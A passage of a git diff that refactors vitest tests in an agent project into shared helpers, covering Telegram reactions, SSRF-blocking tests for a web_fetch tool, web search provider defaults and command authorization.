b/src/agents/tools/telegram-actions.e2e.test.ts index 5718454e757..d6f189eec6c 100644 --- a/src/agents/tools/telegram-actions.e2e.test.ts +++ b/src/agents/tools/telegram-actions.e2e.test.ts @@ -22,6 +22,29 @@ vi.mock("../../telegram/send.js", () => ({ })); describe("handleTelegramAction", () => { + const defaultReactionAction = { + action: "react", + chatId: "123", + messageId: "456", + emoji: "✅", + } as const; + + function reactionConfig(reactionLevel: "minimal" | "extensive" | "off" | "ack"): OpenClawConfig { + return { + channels: { telegram: { botToken: "tok", reactionLevel } }, + } as OpenClawConfig; + } + + async function expectReactionAdded(reactionLevel: "minimal" | "extensive") { + await handleTelegramAction(defaultReactionAction, reactionConfig(reactionLevel)); + expect(reactMessageTelegram).toHaveBeenCalledWith( + "123", + 456, + "✅", + expect.objectContaining({ token: "tok", remove: false }), + ); + } + beforeEach(() => { reactMessageTelegram.mockClear(); sendMessageTelegram.mockClear(); @@ -39,24 +62,7 @@ describe("handleTelegramAction", () => { }); it("adds reactions when reactionLevel is minimal", async () => { - const cfg = { - channels: { telegram: { botToken: "tok", reactionLevel: "minimal" } }, - } as OpenClawConfig; - await handleTelegramAction( - { - action: "react", - chatId: "123", - messageId: "456", - emoji: "✅", - }, - cfg, - ); - expect(reactMessageTelegram).toHaveBeenCalledWith( - "123", - 456, - "✅", - expect.objectContaining({ token: "tok", remove: false }), - ); + await expectReactionAdded("minimal"); }); it("surfaces non-fatal reaction warnings", async () => { @@ -64,18 +70,7 @@ describe("handleTelegramAction", () => { ok: false, warning: "Reaction unavailable: ✅", }); - const cfg = { - channels: { telegram: { botToken: "tok", reactionLevel: "minimal" } }, - } as OpenClawConfig; - const result = await handleTelegramAction( - { - action: "react", - chatId: "123", - messageId: "456", - emoji: "✅", - }, - cfg, - ); + const result = await handleTelegramAction(defaultReactionAction, reactionConfig("minimal")); const textPayload = result.content.find((item) => item.type === "text"); expect(textPayload?.type).toBe("text"); const parsed = JSON.parse((textPayload as { type: "text"; text: string }).text) as { @@ -91,24 +86,7 @@ describe("handleTelegramAction", () => { }); it("adds reactions when reactionLevel is extensive", async () => { - const cfg = { - channels: { telegram: { botToken: "tok", reactionLevel: "extensive" } }, - } as OpenClawConfig; - await handleTelegramAction( - { - action: "react", - chatId: "123", - messageId: "456", - emoji: "✅", - }, - cfg, - ); - expect(reactMessageTelegram).toHaveBeenCalledWith( - "123", - 456, - "✅", - expect.objectContaining({ token: "tok", remove: false }), - ); + await expectReactionAdded("extensive"); }); it("removes reactions on empty emoji", async () => { @@ -167,9 +145,7 @@ describe("handleTelegramAction", () => { }); it("removes reactions when remove flag set", async () => { - const cfg = { - channels: { telegram: { botToken: "tok", reactionLevel: "extensive" } }, - } as OpenClawConfig; + const cfg = reactionConfig("extensive"); await handleTelegramAction( { action: "react", @@ -189,9 +165,7 @@ describe("handleTelegramAction", () => { }); it("blocks reactions when reactionLevel is off", async () => { - const cfg = { - channels: { telegram: { botToken: "tok", reactionLevel: "off" } }, - } as OpenClawConfig; + const cfg = reactionConfig("off"); await expect( handleTelegramAction( { @@ -206,9 +180,7 @@ describe("handleTelegramAction", () => { }); it("blocks reactions when reactionLevel is ack", async () => { - const cfg = { - channels: { telegram: { botToken: "tok", reactionLevel: "ack" } }, - } as OpenClawConfig; + const cfg = reactionConfig("ack"); await expect( handleTelegramAction( { diff --git a/src/agents/tools/web-fetch.cf-markdown.test.ts b/src/agents/tools/web-fetch.cf-markdown.test.ts index 71f90c83127..5dcfe3ccf00 100644 --- a/src/agents/tools/web-fetch.cf-markdown.test.ts +++ b/src/agents/tools/web-fetch.cf-markdown.test.ts @@ -1,28 +1,14 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import * as ssrf from "../../infra/net/ssrf.js"; +import { describe, expect, it, vi } from "vitest"; import * as logger from "../../logger.js"; +import { + createBaseWebFetchToolConfig, + installWebFetchSsrfHarness, +} from "./web-fetch.test-harness.js"; +import "./web-fetch.test-mocks.js"; import { createWebFetchTool } from "./web-tools.js"; -// Avoid dynamic-importing heavy readability deps in this unit test suite. -vi.mock("./web-fetch-utils.js", async () => { - const actual = - await vi.importActual("./web-fetch-utils.js"); - return { - ...actual, - extractReadableContent: vi.fn().mockResolvedValue({ - title: "HTML Page", - text: "HTML Page\n\nContent here.", - }), - }; -}); - -const lookupMock = vi.fn(); -const resolvePinnedHostname = ssrf.resolvePinnedHostname; -const baseToolConfig = { - config: { - tools: { web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false } } } }, - }, -} as const; +const baseToolConfig = createBaseWebFetchToolConfig(); +installWebFetchSsrfHarness(); function makeHeaders(map: Record): { get: (key: string) => string | null } { return { @@ -49,22 +35,6 @@ function htmlResponse(body: string): Response { } describe("web_fetch Cloudflare Markdown for Agents", () => { - const priorFetch = global.fetch; - - beforeEach(() => { - lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]); - vi.spyOn(ssrf, "resolvePinnedHostname").mockImplementation((hostname) => - resolvePinnedHostname(hostname, lookupMock), - ); - }); - - afterEach(() => { - // @ts-expect-error restore - global.fetch = priorFetch; - lookupMock.mockReset(); - vi.restoreAllMocks(); - }); - it("sends Accept header preferring text/markdown", async () => { const fetchSpy = vi.fn().mockResolvedValue(markdownResponse("# Test Page\n\nHello world.")); // @ts-expect-error mock fetch diff --git a/src/agents/tools/web-fetch.response-limit.test.ts b/src/agents/tools/web-fetch.response-limit.test.ts index 2755fd0b1c7..bf37899b7fd 100644 --- a/src/agents/tools/web-fetch.response-limit.test.ts +++ b/src/agents/tools/web-fetch.response-limit.test.ts @@ -1,47 +1,15 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import * as ssrf from "../../infra/net/ssrf.js"; +import { describe, expect, it, vi } from "vitest"; +import { + createBaseWebFetchToolConfig, + installWebFetchSsrfHarness, +} from "./web-fetch.test-harness.js"; +import "./web-fetch.test-mocks.js"; import { createWebFetchTool } from "./web-tools.js"; -// Avoid dynamic-importing heavy readability deps in this unit test suite. -vi.mock("./web-fetch-utils.js", async () => { - const actual = - await vi.importActual("./web-fetch-utils.js"); - return { - ...actual, - extractReadableContent: vi.fn().mockResolvedValue({ - title: "HTML Page", - text: "HTML Page\n\nContent here.", - }), - }; -}); - -const lookupMock = vi.fn(); -const resolvePinnedHostname = ssrf.resolvePinnedHostname; -const baseToolConfig = { - config: { - tools: { - web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false }, maxResponseBytes: 1024 } }, - }, - }, -} as const; +const baseToolConfig = createBaseWebFetchToolConfig({ maxResponseBytes: 1024 }); +installWebFetchSsrfHarness(); describe("web_fetch response size limits", () => { - const priorFetch = global.fetch; - - beforeEach(() => { - lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]); - vi.spyOn(ssrf, "resolvePinnedHostname").mockImplementation((hostname) => - resolvePinnedHostname(hostname, lookupMock), - ); - }); - - afterEach(() => { - // @ts-expect-error restore - global.fetch = priorFetch; - lookupMock.mockReset(); - vi.restoreAllMocks(); - }); - it("caps response bytes and does not hang on endless streams", async () => { const chunk = new TextEncoder().encode("
hi
"); const stream = new ReadableStream({ diff --git a/src/agents/tools/web-fetch.ssrf.e2e.test.ts b/src/agents/tools/web-fetch.ssrf.e2e.test.ts index 3ff36a65d0f..ed6b85fbad2 100644 --- a/src/agents/tools/web-fetch.ssrf.e2e.test.ts +++ b/src/agents/tools/web-fetch.ssrf.e2e.test.ts @@ -28,6 +28,30 @@ function textResponse(body: string): Response { } as Response; } +function setMockFetch(impl?: (...args: unknown[]) => unknown) { + const fetchSpy = vi.fn(impl); + global.fetch = fetchSpy as typeof fetch; + return fetchSpy; +} + +async function createWebFetchToolForTest(params?: { + firecrawl?: { enabled?: boolean; apiKey?: string }; +}) { + const { createWebFetchTool } = await import("./web-tools.js"); + return createWebFetchTool({ + config: { + tools: { + web: { + fetch: { + cacheTtlMinutes: 0, + firecrawl: params?.firecrawl ?? { enabled: false }, + }, + }, + }, + }, + }); +} + describe("web_fetch SSRF protection", () => { const priorFetch = global.fetch; @@ -45,22 +69,9 @@ describe("web_fetch SSRF protection", () => { }); it("blocks localhost hostnames before fetch/firecrawl", async () => { - const fetchSpy = vi.fn(); - // @ts-expect-error mock fetch - global.fetch = fetchSpy; - - const { createWebFetchTool } = await import("./web-tools.js"); - const tool = createWebFetchTool({ - config: { - tools: { - web: { - fetch: { - cacheTtlMinutes: 0, - firecrawl: { apiKey: "firecrawl-test" }, - }, - }, - }, - }, + const fetchSpy = setMockFetch(); + const tool = await createWebFetchToolForTest({ + firecrawl: { apiKey: "firecrawl-test" }, }); await expect(tool?.execute?.("call", { url: "http://localhost/test" })).rejects.toThrow( @@ -71,16 +82,8 @@ describe("web_fetch SSRF protection", () => { }); it("blocks private IP literals without DNS", async () => { - const fetchSpy = vi.fn(); - // @ts-expect-error mock fetch - global.fetch = fetchSpy; - - const { createWebFetchTool } = await import("./web-tools.js"); - const tool = createWebFetchTool({ - config: { - tools: { web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false } } } }, - }, - }); + const fetchSpy = setMockFetch(); + const tool = await createWebFetchToolForTest(); await expect(tool?.execute?.("call", { url: "http://127.0.0.1/test" })).rejects.toThrow( /private|internal|blocked/i, @@ -100,16 +103,8 @@ describe("web_fetch SSRF protection", () => { return [{ address: "10.0.0.5", family: 4 }]; }); - const fetchSpy = vi.fn(); - // @ts-expect-error mock fetch - global.fetch = fetchSpy; - - const { createWebFetchTool } = await import("./web-tools.js"); - const tool = createWebFetchTool({ - config: { - tools: { web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false } } } }, - }, - }); + const fetchSpy = setMockFetch(); + const tool = await createWebFetchToolForTest(); await expect(tool?.execute?.("call", { url: "https://private.test/resource" })).rejects.toThrow( /private|internal|blocked/i, @@ -120,19 +115,11 @@ describe("web_fetch SSRF protection", () => { it("blocks redirects to private hosts", async () => { lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]); - const fetchSpy = vi.fn().mockResolvedValueOnce(redirectResponse("http://127.0.0.1/secret")); - // @ts-expect-error mock fetch - global.fetch = fetchSpy; - - const { createWebFetchTool } = await import("./web-tools.js"); - const tool = createWebFetchTool({ - config: { - tools: { - web: { - fetch: { cacheTtlMinutes: 0, firecrawl: { apiKey: "firecrawl-test" } }, - }, - }, - }, + const fetchSpy = setMockFetch().mockResolvedValueOnce( + redirectResponse("http://127.0.0.1/secret"), + ); + const tool = await createWebFetchToolForTest({ + firecrawl: { apiKey: "firecrawl-test" }, }); await expect(tool?.execute?.("call", { url: "https://example.com" })).rejects.toThrow( @@ -144,16 +131,8 @@ describe("web_fetch SSRF protection", () => { it("allows public hosts", async () => { lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]); - const fetchSpy = vi.fn().mockResolvedValue(textResponse("ok")); - // @ts-expect-error mock fetch - global.fetch = fetchSpy; - - const { createWebFetchTool } = await import("./web-tools.js"); - const tool = createWebFetchTool({ - config: { - tools: { web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false } } } }, - }, - }); + setMockFetch().mockResolvedValue(textResponse("ok")); + const tool = await createWebFetchToolForTest(); const result = await tool?.execute?.("call", { url: "https://example.com" }); expect(result?.details).toMatchObject({ diff --git a/src/agents/tools/web-fetch.test-harness.ts b/src/agents/tools/web-fetch.test-harness.ts new file mode 100644 index 00000000000..c86a028e155 --- /dev/null +++ b/src/agents/tools/web-fetch.test-harness.ts @@ -0,0 +1,49 @@ +import { afterEach, beforeEach, vi } from "vitest"; +import * as ssrf from "../../infra/net/ssrf.js"; + +export function installWebFetchSsrfHarness() { + const lookupMock = vi.fn(); + const resolvePinnedHostname = ssrf.resolvePinnedHostname; + const priorFetch = global.fetch; + + beforeEach(() => { + lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]); + vi.spyOn(ssrf, "resolvePinnedHostname").mockImplementation((hostname) => + resolvePinnedHostname(hostname, lookupMock), + ); + }); + + afterEach(() => { + global.fetch = priorFetch; + lookupMock.mockReset(); + vi.restoreAllMocks(); + }); +} + +export function createBaseWebFetchToolConfig(opts?: { maxResponseBytes?: number }): { + config: { + tools: { + web: { + fetch: { + cacheTtlMinutes: number; + firecrawl: { enabled: boolean }; + maxResponseBytes?: number; + }; + }; + }; + }; +} { + return { + config: { + tools: { + web: { + fetch: { + cacheTtlMinutes: 0, + firecrawl: { enabled: false }, + ...(opts?.maxResponseBytes ? { maxResponseBytes: opts.maxResponseBytes } : {}), + }, + }, + }, + }, + }; +} diff --git a/src/agents/tools/web-fetch.test-mocks.ts b/src/agents/tools/web-fetch.test-mocks.ts new file mode 100644 index 00000000000..75a1c36d077 --- /dev/null +++ b/src/agents/tools/web-fetch.test-mocks.ts @@ -0,0 +1,14 @@ +import { vi } from "vitest"; + +// Avoid dynamic-importing heavy readability deps in unit test suites. +vi.mock("./web-fetch-utils.js", async () => { + const actual = + await vi.importActual("./web-fetch-utils.js"); + return { + ...actual, + extractReadableContent: vi.fn().mockResolvedValue({ + title: "HTML Page", + text: "HTML Page\n\nContent here.", + }), + }; +}); diff --git a/src/agents/tools/web-tools.enabled-defaults.e2e.test.ts b/src/agents/tools/web-tools.enabled-defaults.e2e.test.ts index c95e328b75e..030d6b668cf 100644 --- a/src/agents/tools/web-tools.enabled-defaults.e2e.test.ts +++ b/src/agents/tools/web-tools.enabled-defaults.e2e.test.ts @@ -1,6 +1,34 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { createWebFetchTool, createWebSearchTool } from "./web-tools.js"; +function installMockFetch(payload: unknown) { + const mockFetch = vi.fn(() => + Promise.resolve({ + ok: true, + json: () => Promise.resolve(payload), + } as Response), + ); + // @ts-expect-error mock fetch + global.fetch = mockFetch; + return mockFetch; +} + +function createPerplexitySearchTool(perplexityConfig?: { apiKey?: string; baseUrl?: string }) { + return createWebSearchTool({ + config: { + tools: { + web: { + search: { + provider: "perplexity", + ...(perplexityConfig ? { perplexity: perplexityConfig } : {}), + }, + }, + }, + }, + sandboxed: true, + }); +} + describe("web tools defaults", () => { it("enables web_fetch by default (non-sandbox)", () => { const tool = createWebFetchTool({ config: {}, sandboxed: false }); @@ -35,15 +63,7 @@ describe("web_search country and language parameters", () => { }); it("should pass country parameter to Brave API", async () => { - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({ web: { results: [] } }), - } as Response), - ); - // @ts-expect-error mock fetch - global.fetch = mockFetch; - + const mockFetch = installMockFetch({ web: { results: [] } }); const tool = createWebSearchTool({ config: undefined, sandboxed: true }); expect(tool).not.toBeNull(); @@ -55,15 +75,7 @@ describe("web_search country and language parameters", () => { }); it("should pass search_lang parameter to Brave API", async () => { - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({ web: { results: [] } }), - } as Response), - ); - // @ts-expect-error mock fetch - global.fetch = mockFetch; - + const mockFetch = installMockFetch({ web: { results: [] } }); const tool = createWebSearchTool({ config: undefined, sandboxed: true }); await tool?.execute?.(1, { query: "test", search_lang: "de" }); @@ -72,15 +84,7 @@ describe("web_search country and language parameters", () => { }); it("should pass ui_lang parameter to Brave API", async () => { - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({ web: { results: [] } }), - } as Response), - ); - // @ts-expect-error mock fetch - global.fetch = mockFetch; - + const mockFetch = installMockFetch({ web: { results: [] } }); const tool = createWebSearchTool({ config: undefined, sandboxed: true }); await tool?.execute?.(1, { query: "test", ui_lang: "de" }); @@ -89,15 +93,7 @@ describe("web_search country and language parameters", () => { }); it("should pass freshness parameter to Brave API", async () => { - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({ web: { results: [] } }), - } as Response), - ); - // @ts-expect-error mock fetch - global.fetch = mockFetch; - + const mockFetch = installMockFetch({ web: { results: [] } }); const tool = createWebSearchTool({ config: undefined, sandboxed: true }); await tool?.execute?.(1, { query: "test", freshness: "pw" }); @@ -106,15 +102,7 @@ describe("web_search country and language parameters", () => { }); it("rejects invalid freshness values", async () => { - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({ web: { results: [] } }), - } as Response), - ); - // @ts-expect-error mock fetch - global.fetch = mockFetch; - + const mockFetch = installMockFetch({ web: { results: [] } }); const tool = createWebSearchTool({ config: undefined, sandboxed: true }); const result = await tool?.execute?.(1, { query: "test", freshness: "yesterday" }); @@ -134,19 +122,11 @@ describe("web_search perplexity baseUrl defaults", () => { it("defaults to Perplexity direct when PERPLEXITY_API_KEY is set", async () => { vi.stubEnv("PERPLEXITY_API_KEY", "pplx-test"); - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }), - } as Response), - ); - // @ts-expect-error mock fetch - global.fetch = mockFetch; - - const tool = createWebSearchTool({ - config: { tools: { web: { search: { provider: "perplexity" } } } }, - sandboxed: true, + const mockFetch = installMockFetch({ + choices: [{ message: { content: "ok" } }], + citations: [], }); + const tool = createPerplexitySearchTool(); await tool?.execute?.(1, { query: "test-openrouter" }); expect(mockFetch).toHaveBeenCalled(); @@ -161,19 +141,11 @@ describe("web_search perplexity baseUrl defaults", () => { it("passes freshness to Perplexity provider as search_recency_filter", async () => { vi.stubEnv("PERPLEXITY_API_KEY", "pplx-test"); - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }), - } as Response), - ); - // @ts-expect-error mock fetch - global.fetch = mockFetch; - - const tool = createWebSearchTool({ - config: { tools: { web: { search: { provider: "perplexity" } } } }, - sandboxed: true, + const mockFetch = installMockFetch({ + choices: [{ message: { content: "ok" } }], + citations: [], }); + const tool = createPerplexitySearchTool(); await tool?.execute?.(1, { query: "perplexity-freshness-test", freshness: "pw" }); expect(mockFetch).toHaveBeenCalledOnce(); @@ -184,19 +156,11 @@ describe("web_search perplexity baseUrl defaults", () => { it("defaults to OpenRouter when OPENROUTER_API_KEY is set", async () => { vi.stubEnv("PERPLEXITY_API_KEY", ""); vi.stubEnv("OPENROUTER_API_KEY", "sk-or-test"); - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }), - } as Response), - ); - // @ts-expect-error mock fetch - global.fetch = mockFetch; - - const tool = createWebSearchTool({ - config: { tools: { web: { search: { provider: "perplexity" } } } }, - sandboxed: true, + const mockFetch = installMockFetch({ + choices: [{ message: { content: "ok" } }], + citations: [], }); + const tool = createPerplexitySearchTool(); await tool?.execute?.(1, { query: "test-openrouter-env" }); expect(mockFetch).toHaveBeenCalled(); @@ -212,19 +176,11 @@ describe("web_search perplexity baseUrl defaults", () => { it("prefers PERPLEXITY_API_KEY when both env keys are set", async () => { vi.stubEnv("PERPLEXITY_API_KEY", "pplx-test"); vi.stubEnv("OPENROUTER_API_KEY", "sk-or-test"); - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }), - } as Response), - ); - // @ts-expect-error mock fetch - global.fetch = mockFetch; - - const tool = createWebSearchTool({ - config: { tools: { web: { search: { provider: "perplexity" } } } }, - sandboxed: true, + const mockFetch = installMockFetch({ + choices: [{ message: { content: "ok" } }], + citations: [], }); + const tool = createPerplexitySearchTool(); await tool?.execute?.(1, { query: "test-both-env" }); expect(mockFetch).toHaveBeenCalled(); @@ -233,28 +189,11 @@ describe("web_search perplexity baseUrl defaults", () => { it("uses configured baseUrl even when PERPLEXITY_API_KEY is set", async () => { vi.stubEnv("PERPLEXITY_API_KEY", "pplx-test"); - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }), - } as Response), - ); - // @ts-expect-error mock fetch - global.fetch = mockFetch; - - const tool = createWebSearchTool({ - config: { - tools: { - web: { - search: { - provider: "perplexity", - perplexity: { baseUrl: "https://example.com/pplx" }, - }, - }, - }, - }, - sandboxed: true, + const mockFetch = installMockFetch({ + choices: [{ message: { content: "ok" } }], + citations: [], }); + const tool = createPerplexitySearchTool({ baseUrl: "https://example.com/pplx" }); await tool?.execute?.(1, { query: "test-config-baseurl" }); expect(mockFetch).toHaveBeenCalled(); @@ -262,28 +201,11 @@ describe("web_search perplexity baseUrl defaults", () => { }); it("defaults to Perplexity direct when apiKey looks like Perplexity", async () => { - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }), - } as Response), - ); - // @ts-expect-error mock fetch - global.fetch = mockFetch; - - const tool = createWebSearchTool({ - config: { - tools: { - web: { - search: { - provider: "perplexity", - perplexity: { apiKey: "pplx-config" }, - }, - }, - }, - }, - sandboxed: true, + const mockFetch = installMockFetch({ + choices: [{ message: { content: "ok" } }], + citations: [], }); + const tool = createPerplexitySearchTool({ apiKey: "pplx-config" }); await tool?.execute?.(1, { query: "test-config-apikey" }); expect(mockFetch).toHaveBeenCalled(); @@ -291,28 +213,11 @@ describe("web_search perplexity baseUrl defaults", () => { }); it("defaults to OpenRouter when apiKey looks like OpenRouter", async () => { - const mockFetch = vi.fn(() => - Promise.resolve({ - ok: true, - json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }), - } as Response), - ); - // @ts-expect-error mock fetch - global.fetch = mockFetch; - - const tool = createWebSearchTool({ - config: { - tools: { - web: { - search: { - provider: "perplexity", - perplexity: { apiKey: "sk-or-v1-test" }, - }, - }, - }, - }, - sandboxed: true, + const mockFetch = installMockFetch({ + choices: [{ message: { content: "ok" } }], + citations: [], }); + const tool = createPerplexitySearchTool({ apiKey: "sk-or-v1-test" }); await tool?.execute?.(1, { query: "test-openrouter-config" }); expect(mockFetch).toHaveBeenCalled(); diff --git a/src/agents/zai.live.test.ts b/src/agents/zai.live.test.ts index c75a6b7a8ab..fbca5a07e0a 100644 --- a/src/agents/zai.live.test.ts +++ b/src/agents/zai.live.test.ts @@ -7,48 +7,34 @@ const LIVE = isTruthyEnvValue(process.env.ZAI_LIVE_TEST) || isTruthyEnvValue(pro const describeLive = LIVE && ZAI_KEY ? describe : describe.skip; +async function expectModelReturnsAssistantText(modelId: "glm-4.7" | "glm-4.7-flashx") { + const model = getModel("zai", modelId as "glm-4.7"); + const res = await completeSimple( + model, + { + messages: [ + { + role: "user", + content: "Reply with the word ok.", + timestamp: Date.now(), + }, + ], + }, + { apiKey: ZAI_KEY, maxTokens: 64 }, + ); + const text = res.content + .filter((block) => block.type === "text") + .map((block) => block.text.trim()) + .join(" "); + expect(text.length).toBeGreaterThan(0); +} + describeLive("zai live", () => { it("returns assistant text", async () => { - const model = getModel("zai", "glm-4.7"); - const res = await completeSimple( - model, - { - messages: [ - { - role: "user", - content: "Reply with the word ok.", - timestamp: Date.now(), - }, - ], - }, - { apiKey: ZAI_KEY, maxTokens: 64 }, - ); - const text = res.content - .filter((block) => block.type === "text") - .map((block) => block.text.trim()) - .join(" "); - expect(text.length).toBeGreaterThan(0); + await expectModelReturnsAssistantText("glm-4.7"); }, 20000); it("glm-4.7-flashx returns assistant text", async () => { - const model = getModel("zai", "glm-4.7-flashx" as "glm-4.7"); - const res = await completeSimple( - model, - { - messages: [ - { - role: "user", - content: "Reply with the word ok.", - timestamp: Date.now(), - }, - ], - }, - { apiKey: ZAI_KEY, maxTokens: 64 }, - ); - const text = res.content - .filter((block) => block.type === "text") - .map((block) => block.text.trim()) - .join(" "); - expect(text.length).toBeGreaterThan(0); + await expectModelReturnsAssistantText("glm-4.7-flashx"); }, 20000); }); diff --git a/src/auto-reply/chunk.test.ts b/src/auto-reply/chunk.test.ts index fc846fb9220..d9e9b1593e5 100644 --- a/src/auto-reply/chunk.test.ts +++ b/src/auto-reply/chunk.test.ts @@ -1,4 +1,5 @@ import { describe, expect, it } from "vitest"; +import { hasBalancedFences } from "../test-utils/chunk-test-helpers.js"; import { chunkByNewline, chunkMarkdownText, @@ -11,22 +12,7 @@ import { function expectFencesBalanced(chunks: string[]) { for (const chunk of chunks) { - let open: { markerChar: string; markerLen: number } | null = null; - for (const line of chunk.split("\n")) { - const match = line.match(/^( {0,3})(`{3,}|~{3,})(.*)$/); - if (!match) { - continue; - } - const marker = match[2]; - if (!open) { - open = { markerChar: marker[0], markerLen: marker.length }; - continue; - } - if (open.markerChar === marker[0] && marker.length >= open.markerLen) { - open = null; - } - } - expect(open).toBe(null); + expect(hasBalancedFences(chunk)).toBe(true); } } diff --git a/src/auto-reply/command-control.test.ts b/src/auto-reply/command-control.test.ts index c1145be3447..a8f2abf94a4 100644 --- a/src/auto-reply/command-control.test.ts +++ b/src/auto-reply/command-control.test.ts @@ -213,84 +213,48 @@ describe("resolveCommandAuthorization", () => { }); describe("commands.allowFrom", () => { - it("uses commands.allowFrom global list when configured", () => { - const cfg = { - commands: { - allowFrom: { - "*": ["user123"], - }, + const commandsAllowFromConfig = { + commands: { + allowFrom: { + "*": ["user123"], }, - channels: { whatsapp: { allowFrom: ["+different"] } }, - } as OpenClawConfig; + }, + channels: { whatsapp: { allowFrom: ["+different"] } }, + } as OpenClawConfig; - const authorizedCtx = { + function makeWhatsAppContext(senderId: string): MsgContext { + return { Provider: "whatsapp", Surface: "whatsapp", - From: "whatsapp:user123", - SenderId: "user123", + From: `whatsapp:${senderId}`, + SenderId: senderId, } as MsgContext; + } - const authorizedAuth = resolveCommandAuthorization({ - ctx: authorizedCtx, - cfg, - commandAuthorized: true, + function resolveWithCommandsAllowFrom(senderId: string, commandAuthorized: boolean) { + return resolveCommandAuthorization({ + ctx: makeWhatsAppContext(senderId), + cfg: commandsAllowFromConfig, + commandAuthorized, }); + } + + it("uses commands.allowFrom global list when configured", () => { + const authorizedAuth = resolveWithCommandsAllowFrom("user123", true); expect(authorizedAuth.isAuthorizedSender).toBe(true); - const unauthorizedCtx = { - Provider: "whatsapp", - Surface: "whatsapp", - From: "whatsapp:otheruser", - SenderId: "otheruser", - } as MsgContext; - - const unauthorizedAuth = resolveCommandAuthorization({ - ctx: unauthorizedCtx, - cfg, - commandAuthorized: true, - }); + const unauthorizedAuth = resolveWithCommandsAllowFrom("otheruser", true); expect(unauthorizedAuth.isAuthorizedSender).toBe(false); }); it("ignores commandAuthorized when commands.allowFrom is configured", () => { - const cfg = { - commands: { - allowFrom: { - "*": ["user123"], - }, - }, - channels: { whatsapp: { allowFrom: ["+different"] } }, - } as OpenClawConfig; - - const authorizedCtx = { - Provider: "whatsapp", - Surface: "whatsapp", - From: "whatsapp:user123", - SenderId: "user123", - } as MsgContext; - - const authorizedAuth = resolveCommandAuthorization({ - ctx: authorizedCtx, - cfg, - commandAuthorized: false, - }); + const authorizedAuth = resolveWithCommandsAllowFrom("user123", false); expect(authorizedAuth.isAuthorizedSender).toBe(true); - const unauthorizedCtx = { - Provider: "whatsapp", - Surface: "whatsapp", - From: "whatsapp:otheruser", - SenderId: "otheruser", - } as MsgContext; - - const unauthorizedAuth = resolveCommandAuthorization({ - ctx: unauthorizedCtx, - cfg, - commandAuthorized: false, - }); + const unauthorizedAuth = resolveWithCommandsAllowFrom("otheruser", false); expect(unauthorizedAuth.isAuthorizedSender).toBe(false); }); diff --git a/src/auto-reply/commands-registry.test.ts b/src/auto-reply/commands-registry.test.ts index 9deb7dcf72e..6099aabccea 100644 --- a/src/auto-reply/commands-registry.test.ts +++ b/src/auto-reply/commands-registry.test.ts @@ -171,6 +171,28 @@ describe("commands registry", () => { }); describe("commands registry args", () => { + function createUsageModeCommand( + argsParsing: ChatCommandDefinition["argsParsing"] = "positional", + description = "mode", + ): ChatCommandDefinition { + return { + key: "usage", + description: "usage", + textAliases: [], + scope: "both", + argsMenu: "auto", + argsParsing, + args: [ + { + name: "mode", + description, + type: "string", + choices: ["off", "tokens", "full", "cost"], + }, + ], + }; + } + it("parses positional args and captureRemaining", () => { const command: ChatCommandDefinition = { key: "debug", @@ -209,22 +231,7 @@ describe("commands registry args", () => { }); it("resolves auto arg menus when missing a choice arg", () => { - const command: ChatCommandDefinition = { - key: "usage", - description: "usage", - textAliases: [], - scope: "both", - argsMenu: "auto", - argsParsing: "positional", - args: [ - { - name: "mode", - description: "mode", - type: "string", - choices: ["off", "tokens", "full", "cost"], - }, - ], - }; + const command = createUsageModeCommand(); const menu = resolveCommandArgMenu({ command, args: undefined, cfg: {} as never }); expect(menu?.arg.name).toBe("mode"); @@ -237,22 +244,7 @@ describe("commands registry args", () => { }); it("does not show menus when arg already provided", () => { - const command: ChatCommandDefinition = { - key: "usage", - description: "usage", - textAliases: [], - scope: "both", - argsMenu: "auto", - argsParsing: "positional", - args: [ - { - name: "mode", - description: "mode", - type: "string", - choices: ["off", "tokens", "full", "cost"], - }, - ], - }; + const command = createUsageModeCommand(); const menu = resolveCommandArgMenu({ command, @@ -299,22 +291,7 @@ describe("commands registry args", () => { }); it("does not show menus when args were provided as raw text only", () => { - const command: ChatCommandDefinition = { - key: "usage", - description: "usage", - textAliases: [], - scope: "both", - argsMenu: "auto", - argsParsing: "none", - args: [ - { - name: "mode", - description: "on or off", - type: "string", - choices: ["off", "tokens", "full", "cost"], - }, - ], - }; + const command = createUsageModeCommand("none", "on or off"); const menu = resolveCommandArgMenu({ command, diff --git a/src/auto-reply/media-note.test.ts b/src/auto-reply/media-note.test.ts index 3eb357bff89..019b913d41b 100644 --- a/src/auto-reply/media-note.test.ts +++ b/src/auto-reply/media-note.test.ts @@ -1,5 +1,6 @@ import { describe, expect, it } from "vitest"; import { 